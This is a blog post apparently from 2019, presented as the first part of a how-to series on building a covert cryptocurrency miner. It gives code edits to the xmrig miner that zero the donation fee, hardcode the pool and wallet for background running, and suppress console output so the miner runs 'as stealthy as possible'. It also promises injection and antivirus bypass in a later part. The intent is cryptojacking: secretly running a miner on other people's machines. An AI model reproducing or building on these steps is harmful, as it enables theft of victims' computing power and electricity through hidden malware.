BasedMel avatar

[HowTo] Create, inject & AV ByPass Crypto Miner

basedmel

Published: 06 Jan 2019 › Updated: 06 Jan 2019[HowTo] Create, inject & AV ByPass Crypto Miner

[HowTo] Create, inject & AV ByPass Crypto Miner

Compiling custom XMR miner

Overview

Welcome to balling with basedMel. We'll start our [HowTo] Series with the creation of a custom miner that just suits our needs. We'll have to fork, slightly edit and compile xmrig. Feel free to use any other miner. Let's get to it.

Fork

git clone https://github.com/xmrig/xmrig

Customize

Donation

I value the devs and usually keep the donation fee (5%) by default but if you want to be extra greedy you can just edit donate.h like this

constexpr const int kDefaultDonateLevel = 0;
constexpr const int kMinimumDonateLevel = 0;

Hardcoded config

If you want your miner to be as stealthy as possible you might wanna hardcode your startup arguments instead of providing an additional config file or worry about argument passing after execution. Here's how.

Open App.cpp

int hardnumargs = 3;
static char* hardargs[] = { "-B", "-oPOOLADDR:PORT", "-uWalletAddress, NULL};

edit the values so that they fit your config and make sure that hardnumargs corresponds to the amount of arguments u pass.

Then make sure that your hardcoded arguments are being used.

if (m_controller->init(hardnumargs, hardargs)) {
return;
}

No console Output

You might wanna make sure that no console output appears after execution. To accomplish this, simply comment out a single line in Console.cpp. Like this
if (nread == 1) {
//static_cast<Console*>(stream->data)->m_listener->onConsoleCommand(buf->base[0]);
}

Compile

Now you simply follow the remaining build options from the xmrig github instructions. Et voila, you've got yourself an executabel ready to be deployed.

How to inject it and bypass AV's and much more will be covered in the second part of my series. I might even create a video series.

Mine 'til you shine,
BasedMel

Leave [HowTo] Create, inject & AV ByPass Crypto Miner to:

Written by

Balling since 1993

Read more #miner posts


Best Posts From BasedMel

We have not curated any of basedmel's posts yet. But you can encourage our curation team to review posts by visiting them regularly and by referring other readers. Because we give priority to frequently read content.

More Posts From BasedMel